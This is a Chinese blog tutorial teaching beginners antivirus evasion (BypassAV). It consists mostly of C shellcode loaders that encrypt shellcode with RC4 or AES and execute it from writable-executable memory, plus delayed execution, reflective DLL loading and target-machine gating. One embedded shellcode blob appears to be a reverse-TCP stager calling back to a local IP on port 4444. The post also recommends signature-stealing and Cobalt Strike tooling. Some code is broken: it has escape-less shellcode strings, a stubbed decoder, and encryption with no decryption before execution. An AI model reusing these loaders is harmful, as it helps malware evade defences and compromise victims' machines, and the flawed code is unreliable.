免杀BypassAV小白入门指南

admin 2025年6月3日10:35:09评论31 views字数 18274阅读60分54秒阅读模式

没什么用的前言

我好像追逐了一些没有结果的东西,一直活在梦里,现在感冒发烧打了自己几巴掌,醒了。从今天起我要连续更新,成为绝世剑神。

文章前言-免杀介绍

免杀(BypassAV)是指通过各种技术手段,使恶意软件或工具绕过杀毒软件的检测,从而在目标系统中执行而不被拦截。本文将结合入门与进阶内容,详细讲解免杀的基础知识、专业名词、技术分类、示例代码以及相关工具,帮助小白全面掌握免杀技术。

一、免杀基础知识

1. 什么是免杀?

免杀是指通过修改恶意软件的行为、代码结构或加载方式,使其不被杀毒软件检测到。免杀技术广泛应用于渗透测试、红队攻防等领域。

2. 免杀的常见目标

  • • Windows Defender:Windows系统自带的安全防护工具。
  • • 360安全卫士:国内常见的杀毒软件,检测能力较强。
  • • 火绒:一款轻量级的国产杀软,以低误报率著称。
  • • 卡巴斯基、ESET、Norton:国外常见的杀软,检测能力较强。

3. 免杀的核心思想

  • • 降低特征匹配:减少杀软特征库中匹配到的特征。
  • • 行为隐藏:通过混淆、加密、分离加载等方式隐藏恶意行为。
  • • 利用系统机制:利用系统API、回调函数等合法机制执行恶意代码。

二、免杀中的专业名词

1. Shellcode

  • • 定义:一段用于执行特定功能的机器代码,通常以二进制形式存在。
  • • 用途:常用于反向连接、持久化等操作。
  • • 免杀方法:加密、混淆、分离加载。
  • • 小白解释:就像一段魔法咒语,念出来就能实现特定功能。🧙♂️✨

2. Loader(加载器)

  • • 定义:用于加载和执行Shellcode的程序。
  • • 用途:将加密或混淆的Shellcode加载到内存中执行。
  • • 免杀方法:使用合法API、回调函数、多线程等技术。
  • • 小白解释:就是一个程序启动器,用来启动需要启动的恶意程序。🚀📂

3. 混淆(Obfuscation)

  • • 定义:通过修改代码结构、变量名、控制流等,使代码难以理解。
  • • 用途:降低杀软静态分析的效果。
  • • 常见工具:ConfuserEx、Dotfuscator。
  • • 小白解释:就像把一篇文章写得乱七八糟,谁也看不懂。📜🤪

4. 熵值(Entropy)

  • • 定义:衡量数据随机性的指标,熵值越高,数据越随机。
  • • 用途:杀软通过检测高熵值数据来识别加密的恶意代码。
  • • 免杀方法:降低Shellcode的熵值,例如分段加载。
  • • 小白解释:就像检测食物的辣度,太辣了就会引起注意。🌶️👀

5. 签名(Signature)

  • • 定义:用于验证程序合法性的数字证书。
  • • 用途:劫持合法签名可以绕过杀软的信任机制。
  • • 免杀工具:SigThief。
  • • 小白解释:就像伪造身份证,骗过安检人员。🆔🕵️♂️

6. Reflective DLL Injection(反射式DLL注入)

  • • 定义:一种将DLL直接加载到目标进程内存中的技术,无需将DLL写入磁盘。
  • • 用途:常用于绕过杀软的文件扫描和静态检测。
  • • 小白解释:就像把一本书的内容直接塞进别人的脑子里,不用把书递给他。📚🧠

7. Process Hollowing(进程镂空)

  • • 定义:一种将合法进程的内容替换为恶意代码的技术。
  • • 用途:常用于隐藏恶意代码的行为。
  • • 小白解释:就像把一个苹果挖空,里面塞了个炸弹,外面看起来还是个苹果。🍎💣

8. API Hooking(API钩子)

  • • 定义:一种拦截和修改API调用的技术。
  • • 用途:常用于隐藏恶意行为或修改程序行为。
  • • 小白解释:就像在电话线上装个窃听器,偷听并修改对方的通话内容。📞🕵️♂️

9. Code Cave(代码洞穴)

  • • 定义:一段未被使用的内存区域,可以用来插入额外的代码。
  • • 用途:常用于隐藏恶意代码或增加功能。
  • • 小白解释:就像在墙里挖个洞,里面藏了把钥匙。🔑🏠

10. Sandbox Evasion(沙箱逃逸)

  • • 定义:一种检测和逃避沙箱环境的技术。
  • • 用途:常用于避免在沙箱中被检测。
  • • 小白解释:就像在实验室里装正常人,一出实验室就变身坏蛋。🧪🦹♂️

三、免杀技术分类

1. 静态免杀

  • • 定义:通过修改文件结构、代码或资源,避免杀软静态扫描检测。
  • • 常见方法
    • • 混淆代码
    • • 加密Shellcode
    • • 添加合法签名
    • • 修改文件图标
  • • 示例代码
// Base64混淆Shellcode
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

// 简单Base64解码函数
unsignedcharbase64_decode(constchar* input) {
// 实现Base64解码逻辑(此处省略具体实现)
return (unsignedchar*)input; // 实际需正确解码
}

intmain() {
constchar* base64_shellcode = "aGVsbG8gd29ybGQ="// 示例Base64编码的Shellcode
unsignedchar* shellcode = base64_decode(base64_shellcode);

// 分配内存并执行
void* exec = VirtualAlloc(0strlen((char*)shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, strlen((char*)shellcode));
    ((void(*)())exec)();

return0;
}
// RC4加密Shellcode
#include<windows.h>
#include<string.h>

// RC4加密算法实现
voidrc4_crypt(unsignedchar *data, int data_len, unsignedchar *key, int key_len) {
unsignedchar S[256];
int i, j = 0;

// 初始化S数组
for (i = 0; i < 256; i++) {
        S[i] = (unsignedchar)i;
    }

// 密钥调度算法 (KSA)
for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key_len]) & 0xFF;  // 等同于模256运算
// 交换S[i]和S[j]
unsignedchar temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }

// 伪随机数生成算法 (PRGA)
    i = 0;
    j = 0;
for (int k = 0; k < data_len; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
// 交换S[i]和S[j]
unsignedchar temp = S[i];
        S[i] = S[j];
        S[j] = temp;
// 生成伪随机数,并与数据异或
unsignedchar rnd = S[(S[i] + S[j]) & 0xFF];
        data[k] ^= rnd;
    }
}

intmain() {
unsignedchar shellcode[] = "xfcxe8x82x00x00x00x60x89xe5x31xd2x64x8b"// 示例Shellcode
unsignedchar key[] = "secretkey"// 加密密钥

    rc4_crypt(shellcode, sizeof(shellcode) - 1, key, sizeof(key) - 1);

// 分配内存并执行
void* exec = VirtualAlloc(0sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();

return0;
}
// AES加密Shellcode
#include<windows.h>
#include<stdlib.h>
#include<string.h>
#include<stdio.h>

// --- AES基本常量与辅助函数 ---

// AES S-box
staticconstunsignedchar sbox[256] = {
/* 0x00 */0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
/* 0x10 */0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
/* 0x20 */0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
/* 0x30 */0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
/* 0x40 */0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
/* 0x50 */0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
/* 0x60 */0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
/* 0x70 */0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
/* 0x80 */0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
/* 0x90 */0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
/* 0xA0 */0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
/* 0xB0 */0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
/* 0xC0 */0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
/* 0xD0 */0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
/* 0xE0 */0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
/* 0xF0 */0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};

// AES Rcon数组,用于密钥扩展(注意第一个元素未用)
staticconstunsignedchar Rcon[11] = { 
0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36
};

// xtime函数:GF(2^8)中乘2运算
unsignedcharxtime(unsignedchar x) {
return (x << 1) ^ ((x >> 7) & 1 ? 0x1B : 0);
}

// --- AES核心函数 ---

// 添加轮密钥:将状态数组与轮密钥异或
voidAddRoundKey(unsignedchar state[16], constunsignedchar roundKey[16]) {
for (int i = 0; i < 16; i++)
        state[i] ^= roundKey[i];
}

// 字节代换:使用S-box对状态数组中每个字节替换
voidSubBytes(unsignedchar state[16]) {
for (int i = 0; i < 16; i++)
        state[i] = sbox[state[i]];
}

// 行移位:对状态数组的每一行进行循环左移
voidShiftRows(unsignedchar state[16]) {
unsignedchar temp[16];
// 第一行不变
    temp[0]  = state[0];
    temp[4]  = state[4];
    temp[8]  = state[8];
    temp[12] = state[12];
// 第二行左移1位
    temp[1]  = state[5];
    temp[5]  = state[9];
    temp[9]  = state[13];
    temp[13] = state[1];
// 第三行左移2位
    temp[2]  = state[10];
    temp[6]  = state[14];
    temp[10] = state[2];
    temp[14] = state[6];
// 第四行左移3位
    temp[3]  = state[15];
    temp[7]  = state[3];
    temp[11] = state[7];
    temp[15] = state[11];
memcpy(state, temp, 16);
}

// 列混合:对状态数组的每一列进行混合变换
voidMixColumns(unsignedchar state[16]) {
for (int i = 0; i < 4; i++) {
int col = i * 4;
unsignedchar a0 = state[col];
unsignedchar a1 = state[col+1];
unsignedchar a2 = state[col+2];
unsignedchar a3 = state[col+3];
// 根据GF(2^8)运算实现2和3的乘法
unsignedchar b0 = xtime(a0) ^ (xtime(a1) ^ a1) ^ a2 ^ a3;
unsignedchar b1 = a0 ^ xtime(a1) ^ (xtime(a2) ^ a2) ^ a3;
unsignedchar b2 = a0 ^ a1 ^ xtime(a2) ^ (xtime(a3) ^ a3);
unsignedchar b3 = (xtime(a0) ^ a0) ^ a1 ^ a2 ^ xtime(a3);
        state[col]   = b0;
        state[col+1] = b1;
        state[col+2] = b2;
        state[col+3] = b3;
    }
}

// 密钥扩展:由16字节的初始密钥扩展得到176字节的轮密钥
voidKeyExpansion(constunsignedchar* key, unsignedchar roundKeys[176]) {
memcpy(roundKeys, key, 16);
int bytesGenerated = 16;
int rconIteration = 1;
unsignedchar temp[4];

while (bytesGenerated < 176) {
// 取前4个字节
for (int i = 0; i < 4; i++)
            temp[i] = roundKeys[bytesGenerated - 4 + i];

// 每16字节时,进行密钥调度核心变换
if (bytesGenerated % 16 == 0) {
// 循环左移1字节
unsignedchar t = temp[0];
            temp[0] = temp[1];
            temp[1] = temp[2];
            temp[2] = temp[3];
            temp[3] = t;
// S-box代换
for (int i = 0; i < 4; i++)
                temp[i] = sbox[temp[i]];
// 与Rcon异或
            temp[0] ^= Rcon[rconIteration];
            rconIteration++;
        }
// 生成新一轮密钥字节
for (int i = 0; i < 4; i++) {
            roundKeys[bytesGenerated] = roundKeys[bytesGenerated - 16] ^ temp[i];
            bytesGenerated++;
        }
    }
}

// 对单个16字节数据块进行AES-128加密
voidAES_encrypt_block(constunsignedchar in[16], unsignedchar out[16], constunsignedchar roundKeys[176]) {
unsignedchar state[16];
memcpy(state, in, 16);

// 初始轮密钥加
    AddRoundKey(state, roundKeys);

// 9轮常规轮变换
for (int round = 1; round < 10; round++) {
        SubBytes(state);
        ShiftRows(state);
        MixColumns(state);
        AddRoundKey(state, roundKeys + round * 16);
    }

// 第10轮(无MixColumns)
    SubBytes(state);
    ShiftRows(state);
    AddRoundKey(state, roundKeys + 10 * 16);

memcpy(out, state, 16);
}

// --- CBC模式下的AES加密函数 ---
// 这里对数据按16字节分组,数据不足16字节时使用零填充
voidaes_encrypt(unsignedchar *data, int data_len, unsignedchar *key, unsignedchar *iv) {
// 计算填充后数据长度(16的倍数)
int padded_len = ((data_len + 15) / 16) * 16;
unsignedchar *buffer = (unsignedchar *)malloc(padded_len);
memcpy(buffer, data, data_len);
// 对不足部分使用0填充
memset(buffer + data_len, 0, padded_len - data_len);

unsignedchar roundKeys[176];
    KeyExpansion(key, roundKeys);

unsignedchar prev[16];
memcpy(prev, iv, 16);

// 按16字节块进行CBC加密
for (int i = 0; i < padded_len; i += 16) {
// 与前一个密文块(或IV)异或
for (int j = 0; j < 16; j++)
            buffer[i+j] ^= prev[j];

unsignedchar out[16];
        AES_encrypt_block(buffer + i, out, roundKeys);
memcpy(buffer + i, out, 16);
// 更新prev为当前密文块
memcpy(prev, out, 16);
    }
// 将加密后的数据复制回原data中(注意:可能比原data长,如果data所在空间足够)
memcpy(data, buffer, padded_len);
free(buffer);
}

// --- 主函数示例 ---
// 加密Shellcode后分配内存并执行
intmain() {
// 示例Shellcode
unsignedchar shellcode[] = "xfcxe8x82x00x00x00x60x89xe5x31xd2x64x8b";
unsignedchar key[] = "1234567890123456"// 16字节密钥
unsignedchar iv[]  = "1234567890123456"// 16字节初始化向量

int shellcode_len = sizeof(shellcode) - 1// 排除字符串结束符

// 执行AES CBC加密(原地加密,填充可能会扩充数据,使用时请确保足够空间)
    aes_encrypt(shellcode, shellcode_len, key, iv);

// 分配内存并执行加密后的Shellcode
void* exec = VirtualAlloc(0, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, shellcode_len);
    ((void(*)())exec)();

return0;
}

参考代码

#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// ---------------- RC4加密 ----------------
void rc4_crypt(unsigned char *data, int data_len, unsigned char *key, int key_len) {
    unsigned char S[256];
int i, j = 0;

// 初始化S数组
for (i = 0; i < 256; i++) {
        S[i] = (unsigned char)i;
    }

// 密钥调度算法 (KSA)
for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key_len]) & 0xFF;
        unsigned char temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }

// 伪随机数生成算法 (PRGA)
    i = 0;
    j = 0;
for (int k = 0; k < data_len; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        unsigned char temp = S[i];
        S[i] = S[j];
        S[j] = temp;
        unsigned char rnd = S[(S[i] + S[j]) & 0xFF];
        data[k] ^= rnd;
    }
}

// ---------------- AES加密(纯C实现,无第三方库) ----------------

// AES S-box
static const unsigned char sbox[256] = {
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};

// AES Rcon数组,用于密钥扩展
static const unsigned char Rcon[11] = { 
0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36
};

// xtime函数:GF(2^8)中乘2运算
unsigned char xtime(unsigned char x) {
return (x << 1) ^ ((x >> 7) & 1 ? 0x1B : 0);
}

// 添加轮密钥
void AddRoundKey(unsigned char state[16], const unsigned char roundKey[16]) {
for (int i = 0; i < 16; i++)
        state[i] ^= roundKey[i];
}

// 字节代换
void SubBytes(unsigned char state[16]) {
for (int i = 0; i < 16; i++)
        state[i] = sbox[state[i]];
}

// 行移位
void ShiftRows(unsigned char state[16]) {
    unsigned char temp[16];
// 第一行
    temp[0]  = state[0];
    temp[4]  = state[4];
    temp[8]  = state[8];
    temp[12] = state[12];
// 第二行左移1位
    temp[1]  = state[5];
    temp[5]  = state[9];
    temp[9]  = state[13];
    temp[13] = state[1];
// 第三行左移2位
    temp[2]  = state[10];
    temp[6]  = state[14];
    temp[10] = state[2];
    temp[14] = state[6];
// 第四行左移3位
    temp[3]  = state[15];
    temp[7]  = state[3];
    temp[11] = state[7];
    temp[15] = state[11];
    memcpy(state, temp, 16);
}

// 列混合
void MixColumns(unsigned char state[16]) {
for (int i = 0; i < 4; i++) {
int col = i * 4;
        unsigned char a0 = state[col];
        unsigned char a1 = state[col+1];
        unsigned char a2 = state[col+2];
        unsigned char a3 = state[col+3];
        unsigned char b0 = xtime(a0) ^ (xtime(a1) ^ a1) ^ a2 ^ a3;
        unsigned char b1 = a0 ^ xtime(a1) ^ (xtime(a2) ^ a2) ^ a3;
        unsigned char b2 = a0 ^ a1 ^ xtime(a2) ^ (xtime(a3) ^ a3);
        unsigned char b3 = (xtime(a0) ^ a0) ^ a1 ^ a2 ^ xtime(a3);
        state[col]   = b0;
        state[col+1] = b1;
        state[col+2] = b2;
        state[col+3] = b3;
    }
}

// 密钥扩展:16字节密钥扩展到176字节轮密钥
void KeyExpansion(const unsigned char* key, unsigned char roundKeys[176]) {
    memcpy(roundKeys, key, 16);
int bytesGenerated = 16;
int rconIteration = 1;
    unsigned char temp[4];

    while (bytesGenerated < 176) {
for (int i = 0; i < 4; i++)
            temp[i] = roundKeys[bytesGenerated - 4 + i];

if (bytesGenerated % 16 == 0) {
// 循环左移1字节
            unsigned char t = temp[0];
            temp[0] = temp[1];
            temp[1] = temp[2];
            temp[2] = temp[3];
            temp[3] = t;
// S-box代换
for (int i = 0; i < 4; i++)
                temp[i] = sbox[temp[i]];
// 与Rcon异或
            temp[0] ^= Rcon[rconIteration];
            rconIteration++;
        }
for (int i = 0; i < 4; i++) {
            roundKeys[bytesGenerated] = roundKeys[bytesGenerated - 16] ^ temp[i];
            bytesGenerated++;
        }
    }
}

// 对单个16字节数据块进行AES-128加密
void AES_encrypt_block(const unsigned char in[16], unsigned char out[16], const unsigned char roundKeys[176]) {
    unsigned char state[16];
    memcpy(state, in, 16);

// 初始轮密钥加
    AddRoundKey(state, roundKeys);

// 9轮常规轮
for (int round = 1; round < 10; round++) {
        SubBytes(state);
        ShiftRows(state);
        MixColumns(state);
        AddRoundKey(state, roundKeys + round * 16);
    }
// 第10轮(无MixColumns)
    SubBytes(state);
    ShiftRows(state);
    AddRoundKey(state, roundKeys + 10 * 16);

    memcpy(out, state, 16);
}

// CBC模式下的AES加密(零填充)
void aes_encrypt(unsigned char *data, int data_len, unsigned char *key, unsigned char *iv, int *padded_len) {
// 计算填充后的数据长度
intlen = ((data_len + 15) / 16) * 16;
    *padded_len = len;
    unsigned char *buffer = (unsigned char *)malloc(len);
    memcpy(buffer, data, data_len);
    memset(buffer + data_len, 0len - data_len);

    unsigned char roundKeys[176];
    KeyExpansion(key, roundKeys);

    unsigned char prev[16];
    memcpy(prev, iv, 16);

// 对每个16字节块进行CBC加密
for (int i = 0; i < len; i += 16) {
for (int j = 0; j < 16; j++)
            buffer[i+j] ^= prev[j];

        unsigned char out[16];
        AES_encrypt_block(buffer + i, out, roundKeys);
        memcpy(buffer + i, out, 16);
        memcpy(prev, out, 16);
    }
// 将加密结果复制回data(确保data空间足够)
    memcpy(data, buffer, len);
    free(buffer);
}

// ---------------- 主函数:双重加密Shellcode并执行 ----------------
int main() {
// 示例Shellcode
    unsigned char shellcode_original[] = "xfcxe8x82x00x00x00x60x89xe5x31xd2x64x8b";
int orig_len = sizeof(shellcode_original) - 1// 排除结束符

// 为加密预留足够空间(AES零填充到16字节倍数)
int padded_len = ((orig_len + 15) / 16) * 16;
    unsigned char *buffer = (unsigned char *)malloc(padded_len);
    memset(buffer, 0, padded_len);
    memcpy(buffer, shellcode_original, orig_len);

// RC4加密(第一重加密)
    unsigned char rc4_key[] = "secretkey";
int rc4_key_len = sizeof(rc4_key) - 1;
    rc4_crypt(buffer, orig_len, rc4_key, rc4_key_len);

// AES加密(第二重加密)
    unsigned char aes_key[] = "1234567890123456"// 16字节密钥
    unsigned char aes_iv[]  = "1234567890123456"// 16字节IV
int aes_padded_len = 0;
    aes_encrypt(buffer, orig_len, aes_key, aes_iv, &aes_padded_len);

// 分配可执行内存(使用AES加密后的长度)
    void* exec = VirtualAlloc(0, aes_padded_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(exec == NULL) {
        printf("VirtualAlloc failedn");
        free(buffer);
return-1;
    }
    memcpy(exec, buffer, aes_padded_len);

// 清理加密缓冲区
    free(buffer);

// 执行解密后的Shellcode(注:实际场景中,Shellcode需先解密后才能执行,此处仅展示加密链路)
    ((void(*)())exec)();

return0;
}

2. 动态免杀

  • • 定义:通过隐藏运行时行为,避免杀软动态检测。
  • • 常见方法
    • • 分离加载Shellcode
    • • 使用合法API
    • • 多线程技术
    • • 延迟执行
  • • 示例代码
// 延迟执行Shellcode
Sleep(5000); // 延迟5秒
void* exec = VirtualAlloc(0sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();

参考代码

#include<windows.h>

unsignedchar shellcode[] = 
"xfcxe8x82x00x00x00x60x89xe5x31xd2x64x8bx52x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07xffxd5xb8x90x01x00x00x29xc4x54x50x68"
"x29x80x6bx00xffxd5x6ax0ax68xc0xa8x01x02x68x02"
"x00x11x5cx89xe6x50x50x50x50x40x50x40x50x68xea"
"x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
"xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
"x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
"xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
"x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
"x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
"x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
"x75x6ex4dx61xffxd5x5ex5exffx0cx24xe9x71xffxff"
"xffx01xc3x29xc6x75xc1xc3";

intmain() {
    Sleep(5000); // 延迟5秒

void* exec = VirtualAlloc(0sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();

return0;
}

3. 内存免杀

  • • 定义:将恶意代码加载到内存中执行,避免文件落地触发杀软检测。
  • • 常见方法
    • • 使用反射加载技术
    • • 利用进程注入
    • • 使用合法的内存分配API
  • • 示例代码
// 反射加载DLL
void* dllMemory = VirtualAlloc(NULL, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(dllMemory, dllData, dllSize);
((void(*)())dllMemory)();

参考代码

#include<windows.h>

// 嵌入DLL二进制数据(示例使用MessageBoxA)
unsignedchar dllData[] = {
// 此处放置DLL的二进制数据(实际需替换为真实DLL)
};

intmain() {
    DWORD dllSize = sizeof(dllData);
void* dllMemory = VirtualAlloc(NULL, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(dllMemory, dllData, dllSize);

// 执行DLL入口函数
    ((void(*)())dllMemory)();

return0;
}

4. 行为免杀

  • • 定义:通过模拟合法程序的行为,避免引起杀软怀疑。
  • • 常见方法
    • • 限制恶意代码的执行条件
    • • 使用合法的系统回调函数
    • • 模拟用户操作行为
  • • 示例代码
// 限制执行条件
if (IsAdmin() && IsTargetMachine()) {
    ExecuteMaliciousCode();
}

参考代码

#include<windows.h>

BOOL IsAdmin() {
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;
if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 000000, &AdministratorsGroup))
return FALSE;

    BOOL isAdmin;
    CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin);
    FreeSid(AdministratorsGroup);
return isAdmin;
}

BOOL IsTargetMachine() {
char hostname[256];
    GetComputerName(hostname, &size);
return _stricmp(hostname, "TARGET-MACHINE") == 0;
}

intmain() {
if (IsAdmin() && IsTargetMachine()) {
// 执行恶意代码
        MessageBox(NULL"Malicious code executed!""Info", MB_OK);
    }
return0;
}

四、免杀工具推荐

1. SigThief

  • • 用途:劫持合法程序的签名,用于免杀。
  • • 下载地址SigThief GitHub

2. ConfuserEx

  • • 用途:混淆.Net程序,降低被检测的概率。
  • • 下载地址ConfuserEx GitHub

3. Cobalt Strike

  • • 用途:提供多种免杀技术,适合高级渗透测试。
  • • 学习资源Cobalt Strike 免杀技术

五、总结与建议

免杀技术是一门需要不断学习和实践的技能。对于初学者来说,建议从C/C++语言入手,掌握基本的免杀原理和技术,逐步扩展到其他语言和工具。同时,关注杀软的最新检测机制和免杀技术的发展,才能在攻防对抗中占据优势。

参考资料

  • • 免杀基础篇
  • • 免杀技术汇总
  • • 加载器总结

希望本文能帮助你快速入门免杀技术,开启你的BypassAV之旅!🚀🔓

原文始发于微信公众号(苍夜安全):免杀BypassAV小白入门指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月3日10:35:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀BypassAV小白入门指南https://cn-sec.com/archives/3870905.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息